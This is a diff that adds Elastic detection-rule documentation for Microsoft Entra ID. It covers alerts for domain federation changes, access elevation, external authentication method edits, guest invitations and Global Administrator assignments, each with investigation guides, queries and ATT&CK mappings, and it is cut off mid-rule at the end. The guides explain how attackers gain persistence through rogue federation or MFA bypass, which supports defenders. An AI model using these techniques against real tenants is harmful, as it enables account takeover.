Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Domain Federation Configuration Change* + + +This rule detects when domain federation settings are added or modified in an Entra ID tenant. Domain federation allows organizations to delegate authentication for a UPN domain suffix to an external Identity Provider (IdP). While this is a legitimate feature for organizations using external IdPs like Okta or ADFS, adversaries can abuse it to establish persistent access by federating a domain to an attacker-controlled IdP. + +This is the highest blast radius federation abuse technique, unlike app-level federated identity credentials (which affect a single service principal), domain federation affects all users whose UPN matches the federated domain. + +Both events share the same `correlation_id` but neither includes the federation configuration details (issuer URI, signing certificate) in the event properties. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to identify who made the change and from where. +- For `"Set domain authentication"` events, check `azure.auditlogs.properties.target_resources.0.display_name` to identify which domain was federated. +- Use `azure.correlation_id` to correlate the companion `"Set federation settings on domain"` event and establish the full context. +- Query the Graph API to retrieve the actual federation configuration details, since they are not logged in the audit event: `Get-MgDomainFederationConfiguration -DomainId ""`. +- Review the configured issuer URI and signing certificate to determine if the external IdP is legitimate or attacker-controlled. +- Check for precursor events with the same actor: `"Add unverified domain"` and `"Verify domain"` events targeting the same domain would indicate the full attack chain. +- Review Azure sign-in logs for any authentication activity from users under the newly federated domain. +- Investigate whether the domain was recently added to the tenant or was a pre-existing domain whose authentication type was changed. +- Review the `user_agent.original` field for the actor to determine if the change was made via the Azure Portal, Microsoft Graph API, or PowerShell, which may provide additional context on whether this was a manual or scripted action. + + +*False positive analysis* + + +- Legitimate domain federation changes by IT administrators during initial tenant setup or IdP migrations (e.g., migrating from ADFS to Okta). +- Organizational restructuring such as mergers or acquisitions where new domains are federated. +- Scheduled maintenance or updates to federation certificates or IdP endpoints. +- Validate with the Global Administrator or identity team before dismissing. + + +*Response and remediation* + + +- If the federation change is unauthorized, immediately remove the federation configuration: `Remove-MgDomainFederationConfiguration -DomainId "" -InternalDomainFederationId ""`. +- Revert the domain authentication type to managed if it should not be federated. +- Revoke all active sessions and tokens for users under the affected domain. +- Audit recent sign-in activity for users under the federated domain to identify unauthorized access. +- Investigate how the adversary obtained Global Administrator privileges to perform this action. +- Review and restrict who has Domain Administrator or Global Administrator roles using PIM (Privileged Identity Management). +- Implement alerts on domain management operations and restrict domain federation changes via conditional access policies. + + +==== Setup + + + +*Microsoft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: azure.auditlogs + and azure.auditlogs.properties.category: DirectoryManagement + and event.action: ("Set domain authentication" or "Set federation settings on domain") + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-elevated-access-to-user-access-administrator.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-elevated-access-to-user-access-administrator.asciidoc new file mode 100644 index 0000000000..0319eaf275 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-elevated-access-to-user-access-administrator.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-20-entra-id-elevated-access-to-user-access-administrator]] +=== Entra ID Elevated Access to User Access Administrator + +Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin?tabs=azure-portal%2Centra-audit-logs/ +* https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID Elevated Access to User Access Administrator* + + +This rule identifies when a user elevates their permissions to the "User Access Administrator" role in Azure RBAC. This role allows full control over access management for Azure resources and can be abused by attackers for lateral movement, persistence, or privilege escalation. Since this is a New Terms rule, the alert will only trigger if the user has not performed this elevation in the past 14 days, helping reduce alert fatigue. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` field to identify the user who elevated access. +- Check `source.ip` and associated `source.geo.*` fields to determine the origin of the action. Confirm whether the IP, ASN, and location are expected for this user. +- Investigate the application ID from `azure.auditlogs.properties.additional_details.value` to determine which interface or method was used to elevate access. +- Pivot to Azure `signinlogs` or Entra `auditlogs` to: + - Review recent login history for the user. + - Look for unusual sign-in patterns or MFA prompts. + - Determine whether the account has performed any other privilege-related operations. +- Correlate with directory role assignments or role-based access control (RBAC) modifications to assess whether the elevated access was used to add roles or modify permissions. + + +*False positive analysis* + + +- Legitimate admin actions may involve access elevation during maintenance, migration, or investigations. +- Some IT departments may elevate access temporarily without leaving structured change records. +- Review internal tickets, change logs, or admin activity dashboards for approved operations. + + +*Response and remediation* + + +- If elevation was not authorized: + - Immediately remove the User Access Administrator role from the account. + - Disable or lock the account and begin credential rotation. + - Audit activity performed by the account after elevation, especially changes to role assignments and resource access. +- If suspicious: + - Notify the user and confirm whether they performed the action. + - Check for any automation or scripts that could be exploiting unused elevated access paths. + - Review conditional access and PIM (Privileged Identity Management) configurations to limit elevation without approval. +- Strengthen posture: + - Require MFA and approval for all privilege escalation actions. + - Consider enabling JIT (Just-in-Time) access with expiration. + - Add alerts for repeated or unusual use of `Microsoft.Authorization/elevateAccess/action`. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: azure.auditlogs + and ( + azure.auditlogs.operation_name: "User has elevated their access to User Access Administrator for their Azure Resources" or + azure.auditlogs.properties.additional_details.value: "Microsoft.Authorization/elevateAccess/action" + ) and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-external-authentication-methods-eam-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-external-authentication-methods-eam-modified.asciidoc new file mode 100644 index 0000000000..43f7e28274 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-external-authentication-methods-eam-modified.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-entra-id-external-authentication-methods-eam-modified]] +=== Entra ID External Authentication Methods (EAM) Modified + +Identifies when an external authentication method (EAM) is added or modified in Entra ID. EAM may allow adversaries to bypass multi-factor authentication (MFA) requirements, potentially leading to unauthorized access to user accounts and sensitive resources by using bring-your-own IdP (BYOIDP) methods. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID External Authentication Methods (EAM) Modified* + + +This rule detects suspicious modifications to external authentication methods (EAMs) in Microsoft Entra ID via Microsoft Graph API. Adversaries may abuse this capability to bypass multi-factor authentication (MFA), enabling persistence or unauthorized access through bring-your-own identity provider (BYOIDP) methods. + + +*Possible investigation steps* + +- Validate that `event.action` is `"Microsoft Graph Activity"` and that `http.request.method` is `"PATCH"`, indicating a configuration change was made. +- Confirm that `url.path` contains the string `authenticationMethodsPolicy`, which is associated with external authentication settings in Entra ID. +- Review `user.id` to identify the Azure AD object ID of the user or service principal that initiated the change. +- Examine `azure.graphactivitylogs.properties.app_id` to determine the application ID that performed the action. +- Analyze `azure.graphactivitylogs.properties.scopes[]` to assess whether the request used privileged scopes such as `AuthenticationMethod.ReadWrite.All`. +- Review the geographic origin of the request using `source.geo.*` and the `source.ip` field to identify anomalous locations. +- Examine `user_agent.original` to determine whether the request was made through a browser or automation (e.g., scripted activity). +- Correlate `azure.graphactivitylogs.properties.token_issued_at` and `azure.graphactivitylogs.properties.time_generated` to assess whether the change occurred shortly after token issuance. +- Investigate additional activity by the same `user.id` or `app_id` within a short timeframe (e.g., 30 minutes) to detect related suspicious behavior. +- Use the `operation_id` or `correlation_id` to pivot across related Graph API or Entra ID activity logs, if available. + + +*False positive analysis* + +- Legitimate administrative activity may trigger this rule, such as configuring FIDO2 or enabling passwordless sign-in methods during onboarding or security upgrades. +- Some enterprise integrations or federated identity providers may programmatically update EAM settings as part of legitimate operations. +- Routine security assessments or red team exercises may include changes to authentication policies. Validate with internal teams when in doubt. +- If appropriate, filter or suppress alerts originating from known trusted service principals or administrative accounts. + + +*Response and remediation* + +- Confirm whether the user or application that made the change was authorized to do so. If not, immediately revoke access and reset credentials as needed. +- Review the application or automation that triggered the change to ensure it is legitimate. If unauthorized, disable or remove it and rotate secrets or tokens it may have accessed. +- Audit current external authentication configurations and conditional access policies to ensure no persistent backdoors were introduced. +- Revoke session tokens associated with the change using Entra ID's portal or Microsoft Graph API, and enforce reauthentication where appropriate. +- Implement stricter RBAC or conditional access policies to prevent unauthorized EAM changes in the future. +- Monitor for repeat or similar activity from the same source or identity as part of an ongoing compromise assessment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: azure.graphactivitylogs and + url.path: *authenticationMethodsPolicy* and + http.request.method: "PATCH" and + http.response.status_code: 200 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-external-guest-user-invited.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-external-guest-user-invited.asciidoc new file mode 100644 index 0000000000..f854677447 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-external-guest-user-invited.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-entra-id-external-guest-user-invited]] +=== Entra ID External Guest User Invited + +Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users could potentially be overlooked indefinitely leading to a potential vulnerability. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/governance/policy/samples/cis-azure-1-1-0 + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID External Guest User Invited* + + +Azure Active Directory (AD) facilitates collaboration by allowing external users to be invited as guest users, enhancing flexibility in cloud environments. However, adversaries may exploit this feature to gain unauthorized access, posing security risks. The detection rule monitors audit logs for successful external user invitations, flagging potential misuse by identifying unusual or unnecessary guest account creations. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the details of the invitation event, focusing on the operation name "Invite external user" and ensuring the event outcome is marked as Success. +- Identify the inviter by examining the properties of the audit log entry, such as the initiator's user ID or email, to determine if the invitation was expected or authorized. +- Check the display name and other attributes of the invited guest user to assess if they align with known business needs or if they appear suspicious or unnecessary. +- Investigate the inviter's recent activity in Azure AD to identify any unusual patterns or deviations from their typical behavior that might indicate compromised credentials. +- Consult with relevant business units or stakeholders to verify if there was a legitimate business requirement for the guest user invitation and if it aligns with current projects or collaborations. +- Review the access permissions granted to the guest user to ensure they are limited to the minimum necessary for their role and do not expose sensitive resources. + + +*False positive analysis* + + +- Invitations for legitimate business partners or vendors may trigger alerts. Regularly review and whitelist known partners to prevent unnecessary alerts. +- Internal users with dual roles or responsibilities that require external access might be flagged. Maintain a list of such users and update it periodically to exclude them from alerts. +- Automated systems or applications that require guest access for integration purposes can cause false positives. Identify these systems and configure exceptions in the monitoring rules. +- Temporary projects or collaborations often involve inviting external users. Document these projects and set expiration dates for guest access to minimize false positives. +- Frequent invitations from specific departments, such as HR or Marketing, for events or collaborations can be common. Establish a process to verify and approve these invitations to reduce false alerts. + + +*Response and remediation* + + +- Immediately disable the guest user account identified in the alert to prevent any unauthorized access or activities. +- Review the audit logs to determine the source and context of the invitation, identifying the user or system that initiated the guest invitation. +- Notify the security team and relevant stakeholders about the unauthorized guest invitation for further investigation and potential escalation. +- Conduct a security assessment of the affected Azure AD environment to identify any other unauthorized guest accounts or suspicious activities. +- Implement conditional access policies to restrict guest user invitations to authorized personnel only, reducing the risk of future unauthorized invitations. +- Enhance monitoring and alerting for guest user invitations by integrating with a Security Information and Event Management (SIEM) system to ensure timely detection and response. +- Review and update the organization's Azure AD guest user policies to ensure they align with security best practices and business needs, minimizing unnecessary guest access. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Invite external user" and azure.auditlogs.properties.target_resources.*.display_name:guest and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned-pim-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned-pim-user.asciidoc new file mode 100644 index 0000000000..fe92b7b18e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned-pim-user.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned-pim-user]] +=== Entra ID Global Administrator Role Assigned (PIM User) + +Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in your Azure AD organization. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Global Administrator Role Assigned (PIM User)* + + +Azure AD's Global Administrator role grants extensive access, allowing users to modify any administrative setting. Privileged Identity Management (PIM) helps manage and monitor such access. Adversaries may exploit this by adding themselves or others to this role, gaining persistent control. The detection rule identifies suspicious role additions by monitoring specific audit logs, focusing on successful role assignments to PIM users, thus helping to flag potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the Azure audit logs to confirm the details of the role addition event, focusing on the event.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement fields. +- Identify the user account that was added to the Global Administrator role by examining the azure.auditlogs.properties.target_resources.*.display_name field. +- Check the event.outcome field to ensure the role addition was successful and not a failed attempt. +- Investigate the user account's recent activities and login history to determine if there are any anomalies or signs of compromise. +- Verify if the role addition aligns with any recent administrative changes or requests within the organization to rule out legitimate actions. +- Assess the potential impact of the role addition by reviewing the permissions and access levels granted to the user. +- If suspicious activity is confirmed, initiate a response plan to remove unauthorized access and secure the affected accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role for maintenance or updates. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or tools used for role assignments can cause false positives if they frequently add users to the Global Administrator role. Consider excluding these automated processes from monitoring or adjusting the detection rule to account for their activity. +- Temporary project-based role assignments might be flagged as suspicious. Implement a process to document and pre-approve such assignments, allowing for their exclusion from alerts. +- Training or onboarding sessions where new administrators are temporarily granted elevated access can result in false positives. Establish a protocol to notify the monitoring team of these events in advance, so they can be excluded from the detection rule. + + +*Response and remediation* + + +- Immediately revoke the Global Administrator role from any unauthorized PIM user identified in the alert to prevent further unauthorized access. +- Conduct a thorough review of recent changes made by the affected account to identify any unauthorized modifications or suspicious activities. +- Reset the credentials of the compromised account and enforce multi-factor authentication (MFA) to secure the account against further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities. +- Review and update access policies and role assignments in Azure AD to ensure that only necessary personnel have elevated privileges. +- Document the incident and response actions taken for future reference and to improve incident response procedures. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:("Add eligible member to role in PIM completed (permanent)" or + "Add member to role in PIM completed (timebound)") and + azure.auditlogs.properties.target_resources.*.display_name:"Global Administrator" and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..76375984ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-entra-id-global-administrator-role-assigned]] +=== Entra ID Global Administrator Role Assigned + +In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Global Administrator Role Assigned* + + +Microsoft Entra ID's Global Administrator role grants comprehensive access to manage Microsoft Entra ID and associated services. Adversaries may exploit this by assigning themselves or others to this role, ensuring persistent control over resources. The detection rule identifies such unauthorized assignments by monitoring specific audit logs for role changes, focusing on the addition of members to the Global Administrator role, thus helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Microsoft Entra ID audit logs to identify the user account that performed the "Add member to role" operation, focusing on the specific event dataset and operation name. +- Verify the identity of the user added to the Global Administrator role by examining the modified properties in the audit logs, specifically the new_value field indicating "Global Administrator". +- Check the history of role assignments for the identified user to determine if this is a recurring pattern or a one-time event. +- Investigate the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Review any recent changes or activities performed by the newly assigned Global Administrator to identify any suspicious actions or configurations that may have been altered. +- Consult with the organization's IT or security team to confirm if the role assignment was authorized and aligns with current administrative needs or projects. +- Correlate with Microsoft Entra ID sign-in logs to check for any unusual login patterns or failed login attempts associated with the user who assigned the role. +- Review the reported device to determine if it is a known and trusted device or if it raises any security concerns such as unexpected relationships with the source user. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role temporarily for maintenance or configuration purposes. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or third-party applications that require elevated permissions might be flagged if they are configured to add users to the Global Administrator role. Review and whitelist these scripts or applications if they are verified as safe and necessary for operations. +- Organizational changes, such as mergers or restructuring, can lead to legitimate role assignments that appear suspicious. Implement a review process to verify these changes and exclude them from triggering alerts if they align with documented organizational changes. +- Training or onboarding sessions for new IT staff might involve temporary assignment to the Global Administrator role. Establish a protocol to document and exclude these training-related assignments from detection alerts. + + +*Response and remediation* + + +- Immediately remove any unauthorized users from the Global Administrator role to prevent further unauthorized access and control over Azure AD resources. +- Conduct a thorough review of recent audit logs to identify any additional unauthorized changes or suspicious activities associated with the compromised account or role assignments. +- Reset the credentials of the affected accounts and enforce multi-factor authentication (MFA) to enhance security and prevent further unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict Global Administrator role assignments to specific, trusted locations or devices. +- Review and update role assignment policies to ensure that only a limited number of trusted personnel have the ability to assign Global Administrator roles. +- Enhance monitoring and alerting mechanisms to detect similar unauthorized role assignments in the future, ensuring timely response to potential threats. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and + azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:"Add member to role" and + azure.auditlogs.properties.target_resources.*.modified_properties.*.new_value: "\"Global Administrator\"" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-illicit-consent-grant-via-registered-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-illicit-consent-grant-via-registered-application.asciidoc new file mode 100644 index 0000000000..840cafe32d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-illicit-consent-grant-via-registered-application.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-entra-id-illicit-consent-grant-via-registered-application]] +=== Entra ID Illicit Consent Grant via Registered Application + +Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in 